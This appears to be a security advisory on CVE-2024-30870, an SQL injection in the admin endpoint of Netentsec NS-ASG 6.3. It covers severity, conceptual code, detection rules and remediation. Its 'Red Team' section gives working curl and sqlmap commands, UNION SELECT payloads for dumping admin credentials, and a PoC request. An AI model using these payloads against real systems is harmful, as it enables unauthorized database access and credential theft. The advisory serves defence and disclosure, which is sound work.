CVE-2024-30870

Executive Summary

CVE-2024-30870 is a critical SQL Injection vulnerability discovered in the Netentsec NS-ASG version 6.3 application, specifically within the /admin/address_interpret.php endpoint. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or complete compromise of the underlying database. The vulnerability is publicly known with proof-of-concept (PoC) details available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains high due to the lack of a patch and the critical nature of the affected component.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (NS-ASG) from Netentsec. Therefore, supply chain security concerns are limited to the vendor's software distribution and update mechanisms.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability type (SQL Injection) and the context (admin interface, likely accessible over the network), a reasonable estimated CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access is possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted or destroyed.

Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact on confidentiality, integrity, and availability makes this a severe threat.

Deep Dive & Mechanics

The vulnerability resides in the /admin/address_interpret.php script of the Netentsec NS-ASG version 6.3. This script is part of the administrative backend and is likely used to interpret or process IP addresses or network ranges. The application fails to properly sanitize user-supplied input before incorporating it into a SQL query.

Mechanism:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint, e.g., GET /admin/address_interpret.php?param=value.
2. The param parameter (or similar) is directly concatenated into a SQL query without proper escaping or parameterization.
3. The attacker can inject SQL commands by including special characters like a single quote (') or double dash (--).
4. The injected SQL is executed by the database backend (likely MySQL or MariaDB), allowing the attacker to bypass authentication, extract data, or execute administrative commands.

Example vulnerable code pattern (conceptual):

$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $query);

Impact:

• Data Exfiltration: Dump the entire user database, including credentials, configuration, and logs.
• Authentication Bypass: Log in as an administrator without a valid password.
• Remote Code Execution (RCE): In some database configurations, SQL injection can lead to RCE via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL).
• Denial of Service (DoS): Delete or corrupt critical tables.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison cannot be made with a patched version. However, the vulnerable code pattern is clear.

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation of user input
$ip = $_GET['ip'];
$sql = "SELECT * FROM address_table WHERE ip_address = '$ip'";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual - Not Official):

// Patched: Use prepared statements
$ip = $_GET['ip'];
$stmt = $conn->prepare("SELECT * FROM address_table WHERE ip_address = ?");
$stmt->bind_param("s", $ip);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries (prepared statements) which ensure that user input is treated as data, not executable code. This is the standard defense against SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Netentsec NS-ASG 6.3 with the vulnerable endpoint exposed.
• Tool: sqlmap, curl, or a custom script.

Step-by-Step Exploitation:

1. Identify the vulnerable parameter:

   curl -v "http://target/admin/address_interpret.php?ip=1.1.1.1"
   

   Look for error messages or unusual behavior.

2. Confirm SQL injection:

   curl "http://target/admin/address_interpret.php?ip=1.1.1.1'"
   

   If a SQL error is returned, the parameter is injectable.

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target/admin/address_interpret.php?ip=1.1.1.1" --batch --dbs
   

4. Manual exploitation example:

   • Extract database version:

     ' UNION SELECT @@version,2,3-- -
     

   • Dump admin credentials:

     ' UNION SELECT username,password,3 FROM admin_users-- -
     

Proof-of-Concept (PoC) Request:

GET /admin/address_interpret.php?ip=1.1.1.1' OR '1'='1' -- - HTTP/1.1
Host: target
User-Agent: Mozilla/5.0

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL error messages in web server logs (e.g., You have an error in your SQL syntax).
• Look for unusual characters in the ip parameter: single quotes ('), double dashes (--), semicolons (;), or UNION statements.
• Use WAF rules to block common SQL injection patterns.

Defense:

• Immediate: Disable the vulnerable endpoint if not required, or restrict access to trusted IPs only.
• Long-term: Apply input validation and parameterized queries. Since no patch is available, consider isolating the appliance or implementing a reverse proxy with WAF capabilities.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/address_interpret.php with suspicious parameters.
• SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• Outbound database connections from the web server to unusual IPs (data exfiltration).

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Unusual entries in database logs.

Log IOCs:

• Web server logs showing ' OR '1'='1' or similar patterns.
• Database logs showing UNION SELECT statements.

Detection Engineering

YARA Rule

rule CVE_2024_30870_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30870 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-30870"
    strings:
        $suspicious_param = /ip=.*['\"]/ nocase
        $sql_error = /SQL syntax.*MySQL|You have an error in your SQL/ nocase
        $union_select = /UNION\s+SELECT/ nocase
    condition:
        $suspicious_param or ($sql_error and $union_select)
}

Sigma Rule

title: CVE-2024-30870 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Netentsec NS-ASG address_interpret.php
author: Valters IT
date: 2024/05/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30870
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/address_interpret.php'
        cs-uri-query|re: 'ip=.*['\''\"]'
    condition: selection
falsepositives:
    - Legitimate use of IP addresses with special characters (rare)
level: high
tags:
    - attack.t1190
    - cve.2024.30870

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-30870 SQL Injection Attempt";
    flow:to_server,established;
    content:"/admin/address_interpret.php"; http_uri;
    pcre:"/ip=.*['\"]/Ui";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2024-30870;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If /admin/address_interpret.php is not essential, remove or rename it.
2. Restrict access: Use firewall rules to allow only trusted IPs to access the admin interface.
3. Implement a Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) with rules to block SQL injection patterns.

Long-term Actions:

1. Vendor Patch: Contact Netentsec for an official patch. If unavailable, consider migrating to an alternative solution.
2. Code Review: If source code is available, implement parameterized queries for all database interactions.
3. Network Segmentation: Place the NS-ASG appliance in a segmented network with strict access controls.
4. Monitoring: Enable detailed logging and alerting for any SQL injection attempts.

Workaround:

• If the appliance cannot be patched, consider using a reverse proxy (e.g., Nginx) with a Lua script to sanitize input before it reaches the vulnerable application.

Valters IT